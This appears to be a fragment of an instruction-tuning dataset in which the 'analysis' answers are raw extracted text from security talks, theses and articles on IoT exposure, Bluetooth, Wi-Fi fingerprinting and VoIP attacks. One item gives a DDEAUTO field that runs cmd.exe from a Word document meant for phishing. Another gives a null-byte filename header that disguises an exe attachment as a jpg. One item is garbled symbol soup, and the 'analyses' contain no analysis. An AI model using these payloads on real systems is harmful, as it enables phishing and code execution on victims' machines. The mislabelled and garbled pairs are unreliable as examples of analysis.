"security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n物 联 网 资 产 变 化 研 究 演 讲 人 桑 鸿 庆 绿 盟 科 技 资 深 安 全 研 究 员 2019 PART 01 简介 目录 CONTENTS PART 02 IPv4地址变化 PART 03 分析 PART 04 IPv6地址变化 01 02 03 04 PART 05 影响与建议 05 PART 01 网 络 空 间 引 擎 与 物 联 网 资 产 识 别 简 介 唐人街探案2中片段 挪威 Finse 1222酒店 图片来源于网络 网 络 空 间 搜 索 引 擎 物 联 网 资 产 暴 露 概 况 资产 协议探测 Banner 设备识别 Label 41,791 993,445 4,752,926 4,239,729 473,501 1,319,448 21,252,312 27,957,765 0 5,000,000 10,000,000 15,000,000 20,000,000 25,000,000 30,000,000 打印机 VoIP电话 摄像头 路由器 设备类型 全球 中国 全 球 和 国 内 物 联 网 相 关 设 备 暴 露 概 况 2 0 1 8 全 年 数 据 资 产 发 现 过 程 DrDoS Mirai变种仍然在活跃的发动攻击 利用路由器和摄像头的反射攻击事件飙升 图片来源于网络 搜索到的物联网设备服务已不在 发现的威胁情报不存活 暴 露 数 量 真 的 是 这 样 的 吗 一 起 攻 击 事 件 感 染 范 围 真 有 这 么 大 为什么大量服务威胁情报不存活 国 内 物 联 网 资 产 I P v 4 网 络 地 址 变 化 情 况 PART 02 4,235,111 1,426,008 1,063,759 563,572 388,107 241,767 234,353 163,282 145,665 130,433 0 500,000 1,000,000 1,500,000 2,000,000 2,500,000 3,000,000 3,500,000 4,000,000 4,500,000 554 80 5060 22 21 443 23 8080 8081 81 暴露资产个 端口号 Others RTSP SIP UPnP 物联网 互联网 70% HTTP HTTPS SSH Telnet FTP 30% 国 内 物 联 网 资 产 暴 露 的 端 口 及 协 议 分 布 情 况 国内暴露的物联网资产协议分布情况 基 于 多 轮 扫 描 结 果 对 比 的 资 产 变 化 研 究 方 法 第1轮 (基准轮次) 第2轮 第3轮 (对比轮次) 第n轮 (对比轮次) 扫描开始 扫描结束 扫描开始 扫描时长 第4轮 第5轮 (对比轮次) 对比间隔时间 扫描结束 18,878 15,355 18,534 14,105 29,920 33,447 30,263 34,688 26,960 24,557 27,793 26,076 0 5,000 10,000 15,000 20,000 25,000 30,000 35,000 40,000 间隔6天 间隔34天 间隔49天 间隔74天 暴露资产个 对比时间 无变化 消失资产 新出现资产 两次对比类 型没有发生 变化的数量 相对于基准 消失的资产 数量 相对于基准 新增的资产 数量 路 由 器 变 化 情 况 8 0 端 口 路 由 器 Ø 平 均 扫 描 周 期 3 天 Ø 总 量 约 5 万 u 变 化 的 资 产 数 量 相 对 稳 定 约 有 3 . 3 万 路 由 器 网 络 地 址 发 生 过 变 化 约 占 总 量 的 6 8 % 40,021 35,195 34,162 28,370 141,984 146,810 151,282 153,635 156,634 167,817 167,917 184,164 0 50,000 100,000 150,000 200,000 间隔16天 间隔28天 间隔40天 间隔64天 暴露资产个 对比时间 无变化 消失资产 新出现资产 VoIP电 话 变 化 情 况 5 0 6 0 端 口 Vo I P 电 话 Ø 平均扫描周期3天 Ø 总量约18万 u 变化的资产数量相对稳定 约有 15万VoIP电话网络地址发生过变 化大约占总资产量的80% 摄 像 头 变 化 情 况 356,042 327,989 308,393 303,499 123,192 151,245 170,841 175,735 127,975 156,589 177,893 185,131 0 50,000 100,000 150,000 200,000 250,000 300,000 350,0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBoomstick-Fu Physical Security at its Most Basic and Brutal Level DefCon 15 Deviant Ollam | Noid | Thorn | Jur1st Show Of Hands Gun Owners Regular Shooters Used a Firearm Defensively Considering a Purchase What This Talk Is About (and what its NOT about) Defensive Firearm Ownership Hardware Within the Law (sorry full auto modders) People Within the Law (permits and licenses, i.e. CCW) Four Rules of Firearm Safety 1. Always treat a weapon as loaded 2. Never point in a direction you wouldnt fire 3. Be aware of your target and what is beyond 4. Finger off the trigger until ready to shoot Whats wrong with this picture? Why Choose To Own Guns? Its not about Bad Neighborhoods Hope for the Best & Prepare for the Worst The worst can get pretty bad on some very rare occasions, no matter where you live (Natural Disasters, Civil Unrest, Mass Hysteria, etc.) The most restrictive regions (or nations) can have some of the worst violent crime rates. We Will Discuss Weapon Selection Ammo Selection Training and Practice Psychological Considerations Legal Notes Weapon Selection Rifles vs. Shotgun vs. Handgun Rifles are almost completely off the list Weapon Selection Rifles vs. Shotgun vs. Handgun Rifles are almost completely off the list Shotguns Actions, Pros & Cons, Versatility, Reliability Handguns Actions, Pros & Cons, Versatility, Reliability Shotguns Pump vs. Autoloading vs. Old Style hard to top a good pump action (Remington 870 or Mossberg 500/590) Shotguns Pump vs. Autoloading vs. Old Style Capacity, Versatility, Ease of Use, Handling Storing Safely & Storing Ready Accessories (slings, lights, sidesaddles) Handguns Revolver vs. Autoloading Pistol Handguns Revolver vs. Autoloading Pistol Revolver Reliable & Simple Storing Ready Pistol More Rounds Faster Reloads Maintenance No matter what you choose, it will only perform properly if you take care of it Cleaning after every use Smithing by professionals Proper storage Ammunition Caliber", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMASTER THESIS Thesis submitted in partial fulfillment of the requirements for the degree of Master of Science in Engineering at the University of Applied Sciences Technikum Wien Degree Program IT-Security Variation analysis of exploitable browser vulnerabilities By: René Freingruber, BSc Student number: 1810303034 Supervisors: 1. Supervisor: Dipl.-Ing. (FH) Mag. DI Christian Kaufmann 2. Supervisor: Patrick Wollgast, MSc Vienna, 2020-09-13 Declaration As author and creator of this work to hand, I confirm with my signature knowledge of the relevant copyright regulations governed by higher education acts (see Urheberrechtsgesetz /Austrian copyright law as amended as well as the Statute on Studies Act Provisions / Examination Regulations of the UAS Technikum Wien as amended). I hereby declare that I completed the present work independently and that any ideas, whether written by others or by myself, have been fully sourced and referenced. I am aware of any consequences I may face on the part of the degree program director if there should be evidence of missing autonomy and independence or evidence of any intent to fraudulently achieve a pass mark for this work (see Statute on Studies Act Provisions / Examination Regulations of the UAS Technikum Wien as amended). I further declare that up to this date I have not published the work to hand nor have I presented it to another examination board in the same or similar form. I affirm that the version submitted matches the version in the upload tool. Place, Date Signature 3 Kurzfassung Web Browser zählen zu den am häufigsten verwendeten Programmen auf Computern und Smartphones. Sie stellen daher ein attraktives Angriffsziel für staatliche Akteure und finanziell motivierte Hacker dar. Obwohl marktführende Browser eine Vielzahl an modernen Schutzmaßnahmen implementieren, kann regelmäßig demonstriert werden, dass Schwachstellen dennoch ausgenutzt und Systeme von Opfern, ohne deren Wissen, übernommen werden können. Hersteller wie G", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nXIII / I / MMIII DefCon XI Bluesniff - The Next Wardriving Frontier Bruce Potter Brian Caswell XIII / I / MMIII DefCon XI Bluetooth Basics NOT 802.11! NOT a relative of 802.11! Cable replacement technology Low power for embedded devices More BT radios than 802.11 radios in existence Phones, headsets, laptops, mice, keyboards Master / Slave architecture XIII / I / MMIII DefCon XI Bluetooth Protocol Uses 2.4 GHz ISM band, same as 802.11b/g Generally low power Class 3 (1mW) for most devices Some Class 1(100mW) devices exist Frequency Hopping Spread Spectrum Uses a pre-defined hopping pattern Back in the day, FHSS was a security mechanism Resists interference 1MHz wide, hopping every 625 microseconds XIII / I / MMIII DefCon XI Bluetooth Protocol A real disaster of a protocol stack Heck, the core spec is 1024 pages.. Good reading! Specifies from Layer 1 to Layer 7 High points RF-level sync Inquiry/request Service discovery Low power modes XIII / I / MMIII DefCon XI Bluetooth Security Pairing Using a shared secret (PIN), exchange random number to form key Key used to derive session key for future comms Used for Trusted <-> Trusted comms XIII / I / MMIII DefCon XI Bluetooth Security Authentication / Authorization Per connection AA Per service AA Encryption Ditto Its all OPTIONAL! Left to the developer/user to decide This ends well :( XIII / I / MMIII DefCon XI Bluetooth Profiles Profiles exist to ease interoperability *wink* *wink* Keyboard, file transfer, handsfree (and headset), etc XIII / I / MMIII DefCon XI Bluetooth vs. 802.11b More at stake Compromise 802.11 security = Access to network Compromise BT Security = Gateway directly to App level functionality More personalized information Phone conversations, calendar info, etc Less interesting for Joe 12-pack, more interesting for executives XIII / I / MMIII DefCon XI Discovery of 802.11 Direct Sequence Spread spectrum Transmitters always in t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHP Security Research Zero Day Initiative Java Every-Days Exploiting Software Running on 3 Billion Devices Brian Gorenc Manager, Vulnerability Research Jasiel Spelman Security Researcher HPs Zero Day Initiative would like to thank the following researchers for their submissions over the last three years: Alin Rad Pop Chris Ries Aniway.Anyway@gmail.com James Forshaw Anonymous Joshua J. Drake Anonymous Michael Schierl Anonymous Peter Vreugdenhil axtaxt Sami Koivu Ben Murphy Vitaliy Toropov VUPEN Security Also, we would like to thank the following people for providing additional information in support of this paper. Mario Vuksan of Reversing Labs Adam Gowdiak of Security Explorations Java Every-Days: Exploiting Software Running on 3 Billion Devices Introduction HPs Zero Day Initiative (ZDI), the worlds largest vendor agnostic bug bounty program, experienced a surge in submissions for Oracles Java platform in late 2012 and early 2013. It became a fairly regular occurrence for several new 0-day Java vulnerabilities to show up in the queue over a seven-day span. One of the more interesting trends revealed that ZDI researchers were not going after a single vulnerability class. At the time, the industry focused on sandbox bypasses and cases were arriving into the ZDI that took advantage of that weakness, but submissions identifying memory corruption vulnerabilities were still just as common. This prompted the following questions: What is truly the most common vulnerability type in Java? What part of the architecture has had the most vulnerabilities reported against it? What part of the architecture produces the most severe vulnerabilities? How the vulnerabilities being used in the threat landscape map to the ZDI submissions? How is Oracle responding to this increased pressure? These questions continued to be discussed internally when exploit kit authors began including several new Java vulnerabilities during the first months of 2013. The targeted attacks against large s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nChatGPT技术分析 刘群 LIU Qun 华为诺亚方舟实验室 Huawei Noahs Ark Lab 在线讲座 (an online lecture) 2023-02-16 ChatGPT概览 ChatGPT的出色表现 ChatGPT的关键技术 ChatGPT的不足之处 ChatGPT未来发展方向 Content ChatGPT概览 ChatGPT的出色表现 ChatGPT的关键技术 ChatGPT的不足之处 ChatGPT未来发展方向 Content ChatGPT轰动效应 用户数5天100万2个月达到1亿 所有人都开始讨论ChatGPT传播速度堪比 新冠病毒 Google内部拉响红色警报 Google紧急仅仅发布Bard但因发布现场出 现错误导致股票蒸发8% 微软追加投资OpenAI一百亿美元 微软迅速推出加载了ChatGPT的New Bing 并计划将ChatGPT接入Office套件 国内外大厂迅速跟进 1 total: 40 ChatGPT官方博客简介 ChatGPT: Optimizing Language Models for Dialogue Weve trained a model called ChatGPT which interacts in a conversational way. The dialogue format makes it possible for ChatGPT to answer followup questions, admit its mistakes, challenge incorrect premises, and reject inappropriate requests. ChatGPT is a sibling model to InstructGPT, which is trained to follow an instruction in a prompt and provide a detailed response. November 30, 2022 13 minute read We are excited to introduce ChatGPT to get users feedback and learn about its strengths and weaknesses. During the research preview, usage of ChatGPT is free. Try it now at chat.openai.com. We are excited to introduce ChatGPT to get users feedback and learn about its strengths and weaknesses. During the research preview, usage of ChatGPT is free. Try it now at chat.openai.com. TRY CHATGPT ChatGPT Blog: https://openai.com/blog/chatgpt/ 2 (1) total: 40 ChatGPT官方博客简介 The main features of ChatGPT highlighted in the official blog: answer followup questions admit its mistakes challenge incorrect premises reject inappropriate requests ChatGPT Blog: https://openai.com/blog/chatgpt/ 2 (2) total: 40 ChatGPT模型大小 ChatGPT是基于GPT-3的Davinci-3模型开发的 3 (1) total: 40 ChatGPT模型大小 GPT-3论文中提供了一下不同规模的版本 OpenAI对外提供的API提供了以下4个模型 3 (2) total: 40 ChatGPT模型大小 根据数据对比Davinci模型应该对应于最大175B的GPT-3模型 On the Sizes of OpenAI API Models Using eval harness, we can deduce the sizes of OpenAI API models from their performance. May 24, 2021 Leo Gao OpenAI hasnt officially said anything about their API model sizes, whi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## JSON ### 简介 - JavaScript 对象表示法JavaScript Object Notation - 存储和交换文本信息的语法类似 XML - 比 XML 更小更快更易解析 ### Json语法 ```js var jsonObject= { propertyName(属性名):value(值), //对象内的属性语法属性名与属性值是成对出现的 functionName(函数名):fucntion(){.......} //对象内的函数语法函数名与函数内容是成对出现的 } ``` - 数据在名称/值对中 `\"\":\"\"` - 数据由逗号分隔 `\"\":\"\",\"\":\"\"` - 花括号保存对象 `{}` - 方括号保存数组 `[{},{}]` ### Json 方法 `JSON.stringify`把JS对象转化为JSON对象 ```js let obj1 = { name:'qiu', age:24 } let obj2 = [ {name:'liu',age:24}, {name:'zhang',age:55} ] let obj = JSON.stringify(obj2) console.log(typeof obj,obj) //typeof 数据类型检测 ``` **注意**json是一个字符串 `JSON.parse`把JSON字符串转换为对象 ```js let jso = '{\"employees\": [{ \"firstName\":\"Bill\" , \"lastName\":\"Gates\" },{ \"firstName\":\"George\" , \"lastName\":\"Bush\" },{ \"firstName\":\"Thomas\" , \"lastName\":\"Carter\" }]}' let json = JSON.parse(jso) console.log(typeof json,json) ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n! \" #$ % &''& ( #) * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * &,) &''& * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ( - + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ) # ( # ! \" # $ % % &\" $ ' # ! % % ( % % ) ! % ! * + * , - \" + ./ . 0 1 2 \" ! % + 3 4 5 6 44 # 7 6 4 . - 4 43 , \" , 4 4 0 4 48 + 5!9 4 4: , \" + 4 4; $ ) % 48 , 46 3 4< 34 = 4< 3 5 . 33 3 3 + : 4 : & : 3 + ; 8 5 3 84 3 8 3 83 + 34 8 ' 34 : = 33 8 !4 , > ! ( % ! >! ( < ! , - ' 46 !3 % 4 ! < !8 , ' ? * 43 4 3 !: , 3 : 4 = * 4: 88 ! ; @ , % 9 , % \" ? % A 0 % , % '! 9 , 5 % % \" 5 % % , -B . % ! ' % 5 ! % ! \" = 44 % C- ,1< ( % > ( ' 5 % % \" ) % \" # \" / / 5 % \" ' ' ' 5 ' \" % \" Æ , % % \" C1-< clientsIKnow[str(p.addr2)]: clientsIKnow[str(p.addr2)] = sigStrength except KeyboardInterrupt: sys.exit(1) except: pass def main(): os.system('clear') try: while True: sniff(iface=interface, prn=sniffClientStrength, timeout=2) if clientsIKnow: sorted_list = sorted(clientsIKnow.items(), key=lambda x: x[1], reverse=True) for item in sorted_list: print item[0], item[1] time.sleep(1) os.system('clear') clientsIKnow.clear() sorted_list = [] except KeyboardInterrupt: pass if __name__ == '__main__': main() More sophisticated Way Moderately expensive way: Detecting signals in licensed bands Use an Linear Technologies LTC5582 RMS RF power detector Measure LTC5582 output on volt meter or BeagleBone or ?? Bandpass filters can be used to look at individual frequency bands Moderately Expensive Way Moderately Expensive Way Physical surveillance Tailing Common ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAirPods客户端异构附件名分析 前 嘶吼发了篇业资讯 https://www.4hou.com/posts/jJAP 提到AirPods客户端特定附件 名显示不正确问题攻击者可以让客户端对异常构造的附件名称显示不正确这种不正确显示会导 致客户端户误打开恶意附件内容 中也提到影响版本AirPods客户端3.0.5以上含3.1.0.303不含以下版本 所以我们就根据披露的这点字信息来分析下该问题吧 漏洞分析 在下载站找到了个历史版本的安装包cmclient_3.0.7-155_amd64.exe安装下即可 根据已有信息我们先要明怎样的件名会让户端打开触发我们构建份带附件的邮 件导出为eml件 这附件使的是jpg格式客户端打开eml件发现附件双击是可以直接打开的并没有任何 的提示 那我们再换成exe件看看是否有这个功能 如下图所示当附件为exe件时则没有双击可以直接打开的功能变成了双击另存为 所以根据资讯信息我们致能猜到该问题的向是出在了filename这个部分也就是通过构建让 客户端显示为jpg件也就有了双击打开的功能实际打开的件则是exe 那么这其实就跟Web件上传样在件名处去构建NTFS件流各种符号都尝试下 发现不 并且使URL编码的式发客户端并不会去解码 那么顺着编码看下去歌 content-disposition filename url encoding 顺着找到篇 章https://stackoverflow.com/questions/93551/how-to-encode-the-filename-parameter-of- content-disposition-header-in-http 提到返回给浏览器的响应头中可以将原先的 filename=value 字段变为 filename*=utf- 8''value 格式前者value编码是不会解码的后者value浏览器是会动解码的 并且这个格式是RFC 6266标准中提到的https://datatracker.ietf.org/doc/html/rfc6266#section- 4.1 在4.3节 https://datatracker.ietf.org/doc/html/rfc6266#section-4.3 也提到两者的区别就是编 码的持 编码的规范定义在RFC 5987中也有对应的示 例https://datatracker.ietf.org/doc/html/rfc5987#section-3.2.2 所以最终我们可以理出这样的格式其中括号包裹起来的就是可选项 同理AirPods客户端本质上就是个浏览器所以我们构建如下的件字段内容 打开该邮件客户端显示为jpg附件 key*=[charset_encode]'[language]'value 1 Content-disposition: attachment; filename*=''123.exe%00123.jpg 1 但是双击打开却是以exe形式并且我们通过ProcessHacker可以看到件的路径 它是以exe形式存储 在 C:\\Users\\xxx\\AppData\\Roaming\\Cm\\CMClient\\temp\\noview\\acc_0\\mail_1658895394\\attach\\123.ex e 录下 路径梳理 简单总结梳理下路径 1. 邮件查看附件以图形式显示解码 2. 双击附件附件会转储到 Cm\\CMClient\\temp\\noview 录下但是由于00截断所以只保存了 前半部分 3. CreateProcessW打开指定件进程 触发问题 传该问题可以动触发不需要双击附件我在分析过程中并没有发现这样的功能但是在版 本的客户端内发现了有类似Webview的功能没有具体分析如果可以动触发的话概率是 Webview渲染的时候动打开了件file协议家有什么新的想法欢迎补充", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWEAPONIZING THE BBC MICRO:BIT DAMIEN \" \" CAUQUIL VIRTUALABS DEF CON 25 - JULY 28, 2017 /ME Head of R&D, Econocom Digital Security Senior security researcher HW/SW Reverse-engineer AGENDA BBC Micro:Bit Features & Capabilities Hacking ideas Hacking into the Micro:Bit Turning the Micro:Bit into a sniffer Hacking various 2.4GHz protocols Demos Wireless keylogger Quadcopter hijacking Radiobit BBC MICRO:BIT FEATURES 5x5 LED matrix 2 buttons Custom expansion connector Wireless capabilities MicroPython ! $15 HARDWARE SPECIFICATIONS nRF51822: 2.4 GHz GFSK transceiver 256 KB Flash 16 KB RAM 6 ADCs SPI bus I2C bus 20 GPIO 3V powered (2 x AAA) EASY TO PROGRAM READ EVALUATE PRINT LOOP $ minicom -D /dev/ttyACM0 -b 115200 MicroPython v1.7-9-gbe020eb on 2016-04-18; micro:bit with nRF51822 Type \"help()\" for more information. >>> help() Welcome to MicroPython on the micro:bit! Try these commands: display.scroll('Hello') running_time() sleep(1000) button_a.is_pressed() [...] WIRELESS CAPABILITIES Legacy ShockBurst Protocol (SB) Enhanced ShockBurst Protocol (ESB) Bluetooth Low Energy (BLE) ENHANCED SHOCKBURST PROTOCOL Designed by Nordic Semiconductor Used by various wireless mice and keyboards Attacked by Marc Newlin during DEF CON 24 BASTILLE VS. KEYBOARDS/MICE MouseJack framework Great tool to sniff/attack keyboards and mice Open source Written in Python http://www.mousejack.com/ GOODSPEED VS. NRF24L01+ Travis Goodspeed managed to turn it into a sniffer source: Travis' blog SAMY KAMKAR'S KEYSWEEPER http://samy.pl/keysweeper/ DSMX HIJACKING TOOL source: The Register (extract from the FireFly example code) OFFENSIVE PYTHON ? # Event loop. while True: if button_a.was_pressed(): radio.send('flash') # a-ha incoming = radio.receive() if incoming == 'flash': sleep(random.randint(50, 350)) display.show(flash, delay=100, wait=False) if random.randint(0, 9) == 0: sleep(500)s radio.send('flash') # a-ha HACKING INTO THE MICRO:BIT PROMISCUITY IS THE NRF51822'S DUTY (TOO) (or how I ported Goodspeed's", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n第 1页 共 12页 SDL-软件安全设计初窥 safer applications begin with secure design Cryin@insight-labs.org 摘要本文详细介绍微软软件安全开发生命周期SDL相关概念并讨论要遵循 SDL 过 程所应执行的各种安全活动其中着重对软件安全设计的原则进行探讨并对 STRIDE 威胁 建模方法进行深入介绍 安全开发生命周期SDL是一个帮助开发人员构建更安全的软件和解决安全合规要求 的同时降低开发成本的软件开发过程 安全应用从安全设计开始软件的安全问题很大一 部分是由于不安全的设计而引入的微软用多年的经验总结出了安全开发生命周期SDL 并提出了攻击面最小化STRIDE 威胁建模等多种方法辅助安全人员对软件进行安全设计 安全设计对于软件安全的重要性尤为可见 第 2页 共 12页 一. 前言 1.1 SDL 介绍 安全开发生命周期SDL即 Security Development Lifecycle是一个帮助开发人员 构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程 自 2004 年 起微软将 SDL 作为全公司的计划和强制政策SDL 的核心理念就是将安全考虑集成在软件 开发的每一个阶段:需求分析设计编码测试和维护从需求设计到发布产品的每一 个阶段每都增加了相应的安全活动以减少软件中漏洞的数量并将安全缺陷降低到最小程 度安全开发生命周期 (SDL)1 是侧重于软件开发的安全保证过程旨在开发出安全的软件 应用 1.2 SDL 安全活动 简单来说SDL 是微软提出的从安全角度指导软件开发过程的管理模式在传统软件开 发生命周期 (SDLC) 的各个阶段增加了一些必要的安全活动软件开发的不同阶段所执行的 安全活动也不同每个活动就算单独执行也都能对软件安全起到一定作用当然缺少特定的 安全活动也会对软件的安全性带来影响 图 1微软 SDL 安全活动简图 我曾今有幸参加过微软安全专家 Michael Howard 及 Taha Mir 关于 SDL 及威胁建模的培 训作为软件安全开发生命周期一书的作者Michael Howard 不只一次强调安全培 训是 SDL 最核心的概念软件是由设计人员设计代码是有开发人员编写同样大部分软 件本身的安全漏洞也是由设计及编码人员引入所以对软件开发过程中的技术人员进行安全 培训这点至关重要 1 https://www.microsoft.com/en-us/SDL/process/design.aspx 第 3页 共 12页 可以看到在整个 SDL 周期中除了安全培训这项活动还在软件发布后增加了安全应急 响应的相关活动而目前国内大多数公司目前已经基本上具备了安全应急响应的活动和职能 部门同时包括安全编码规范代码审计渗透测试等安全活动也都已经基本具备甚至个别 企业已经比较成熟但在软件设计阶段的安全活动则相对较少据我了解仅个别大型跨国企 业才拥有安全设计等相关的安全活动而根据微软多年的实践和经验软件的安全问题很大 一部分是由于不安全的设计而引入的在设计阶段造成的安全缺陷在后期修复的成本和时间 都相对较高STRIDE 威胁建模的创始人之一 Taha Mir 曾说过safer applications begin with secure design即安全应用从安全设计开始相应的微软 SDL 也提出了若干核心的 安全设计原则并提出了如攻击面最小化STRIDE 威胁建模等多种方法辅助安全人员对软 件进行安全设计本文就针对当前国内企业在软件设计阶段安全活动发展相对欠缺的安全设 计进行探讨 二. 安全设计核心原则 SDL 安全设计核心原则: Attack Surface Reduction攻击面最小化 Basic Privacy: 基本隐私 Least Privilege: 权限最小化 Secure Defaults: 默认安全 Defense in Depth纵深防御 Threat Modeling威胁建模 2.1 攻击面最小化 攻击面是指程序任何能被用户或者其它程序所访问到的部分这些暴露给用 户的地方往往也是最可能被恶意攻击者攻击的地方 攻击面最小化即是指尽量减少暴露恶意用户可能发现并试图利用的攻击面 数量软件产品的受攻击面是一个混合体不仅包括代码接口服务也包括 对所有用户提供服务的协议尤其是那些未被验证或者远程的用户都可以访问到 第 4页 共 12页 的协议安全人员在攻击面最小化时首先要对攻击面进行分析攻击面分析就是 枚举所有访问入库接口协议一剂可执行代码的过程从高层次来说攻击面 分析着重于: 降低默认执行的代码量 限制可访问到代码的人员范围 限定可访问到代码的人员身份 降低代码执行所需权限 常见的攻击面分析技巧如下表", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1559-002-win-利用进程间通信执行-动态数据交换-DDE ## 来自ATT&CK的描述 攻击者可以使用Windows动态数据交换DDE执行任意命令DDE是一种客户端-服务器协议用于应用程序之间的一次性或连续的进程间通信IPC建立链接后应用程序可以自动处理由字符串温数据链接数据项更改时的通知热数据链接数据项更改的复制以及命令执行请求组成的事务 对象链接和嵌入OLE或在文档之间链接数据的功能最初是通过DDE实现的尽管已被组件对象模型取代但可以通过注册表项在Windows 10和大多数Microsoft Office 2016中启用DDE Microsoft Office文档可能会被直接或通过嵌入式文件的方式注入DDE命令并被用于通过网络钓鱼或托管的Web内容投递恶意代码从而避免使用Visual Basic for ApplicationsVBA宏在无法直接访问命令和脚本解释器的受感染计算机上攻击者也可以利用DDE执行操作 ## 测试案例 DDE是一种动态数据交换机制Dynamic Data ExchangeDDE使用DDE通讯需要两个Windows应用程序其中一个作为服务器处理信息另外一个作为客户机从服务器获得信息客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息服务器应用程序根据该信息作出应答从而实现两个程序之间的数据交换 ### 制作恶意DDE文档 创建一个文档dde.docx之后双击打开 dde.docx直接Ctrl + f9快捷键便可以快速帮助创建一个域我们则只需要在花括号中添加如下指令(弹出一个计算器)实战过程中可以远程加载我们的木马 ``` DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"\\/k calc.exe\" ``` ### 通过钓鱼等方式传播恶意文件 目标点击后会弹窗提示成功执行代码弹出计算器. ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ### 建议 在OLE和Office开放的XML文件中扫描DDEAUTODDE关键字这是DDE执行的标识 监控进程是否存在指示DDE滥用的异常行为例如Microsoft Office应用程序正在加载一些通常无关于程序的DLL和其它模块或者这些应用程序创建了一些不寻常的子进程如 cmd.exe ## 参考推荐 MITRE-ATT&CK-T1559-002 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nI Know What You Are By the Smell of Your Wi-Fi Denton Gentry Try It! 1% 10% Poll: Wi-Fi at DEFCON for a demo 89% bad idea. worst idea. what could go wrong? SSID: SmellOfWifiTalk MAC Sublayer Management Entity (MLME) Probe Request: Asks nearby APs to respond. Association Request: join the Wi-Fi network Probe Request Association Request Probe Response Association Response Try It! SSID: SmellOfWifiTalk Signature: Information Elements Tag #0 Tag #1 Tag #33 Tag #36 Tag #48 Tag #70 Tag #45 Tag #191 Tag #221, Vendor OUI 00:17:f2, #10 Tag #221, Vendor OUI 00:10:18, #2 Tag #221, Vendor OUI 00:50:f2, #2 0,1,33,36,48,70,45,191, 221(0017f2,10),221(0010 18,2),221(0050f2,2) Try It! SSID: SmellOfWifiTalk Signature: Capability bitmasks Transmit power HT Capabilities bitmask (802.11n) VHT Capabilities bitmask (802.11ac) Try It! SSID: SmellOfWifiTalk 0,1,33,36,48,70,45,191,221 (0017f2,10),221(001018,2), 221(0050f2,2),txpow:13f9, htcap:006f,vhtcap:0f811032 Distinctiveness Over Time iPhone, 2007 0,1,48,50 iPhone 4s, 2011 0,1,48,50,45,221(001018,2),221(00904c,51),221(0050f2,2), htcap:0100,htagg:19,htmcs:000000ff iPhone 7, 2016 0,1,33,36,48,70,54,45,127,191,199,221(0017f2,10),221(001 018,2),221(0050f2,2),htcap:006f,htagg:17,htmcs:0000ffff, vhtcap:0f811032,vhtrxmcs:0000fffa,vhttxmcs:0000fffa,txpo w:13f9,extcap:000008 Try It! SSID: SmellOfWifiTalk Signatures in their Final Form Xbox One wifi4|probe:0,1,45,50,htcap:058f,htagg:03,htmcs:0000ffff|assoc:0,1,33 ,36,221(0050f2,2),45,htcap:058f,htagg:03,htmcs:0000ffff,txpow:1208 Nest Thermostat v3 wifi4|probe:0,1,45,221(001018,2),221(00904c,51),htcap:0062,htagg:1a,h tmcs:000000ff|assoc:0,1,33,36,48,45,221(001018,2),221(00904c,51),221( 0050f2,2),htcap:0062,htagg:1a,htmcs:000000ff,txpow:0f09 Chromecast v1 wifi4|probe:0,1,3,45,50,htcap:0120,htagg:03,htmcs:00000000|assoc:0,1, 48,50,127,221(0050f2,2),45,htcap:012c,htagg:03,htmcs:000000ff,extcap: 0000000000000140 Try It! SSID: SmellOfWifiTalk Multiple Signatures wifi4|probe:0,1,45,221(0050f2,8),191,127,", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIm on Your Phone, Listening Attacking VoIP Configuration Interfaces Stephan Huber | Fraunhofer SIT, Germany Philipp Roskosch | Fraunhofer SIT, Germany About us Stephan Security Researcher @Testlab Mobile Security (Fraunhofer SIT) Code Analysis Tool development IOT Stuff Founder of @TeamSIK 2 About us Philipp Security Researcher & Pentester @Secure Software Engineering (Fraunhofer SIT) Static Code Analysis IoT Vuln Detection Research Day 1 Member of @TeamSIK 3 TODO 4 Alexander Traud Acknowledgements Beer Announcement 5 Past Projects 6 Def Con 26: Tracker Apps DeF Con 25: Password Manager Apps Def Con 24: Anti Virus Apps Blackhat EU 2015: BAAS Security https://team-sik.org Whats next? 7 Wide distribution Complex software Readily accessible The Target Devices 8 Perfect World 9 Internet Guest Network Workstation Network VoIP Phone Network Real World 10 Internet Network VoIP Phones Guests Workstations Publicly reachable! Agenda 11 Background IoT Hacking 101 Findings DOS, Weak Crypto, XSS, CSRF Command Injection Authentication Bypass Memory Corruption Recommendations Responsible disc. experiences Summary 12 Background Architecture and Attack Targets ARM/ MIPS F L A S H Linux OS Kernel Bootloader 13 Architecture and Attack Targets ARM/ MIPS F L A S 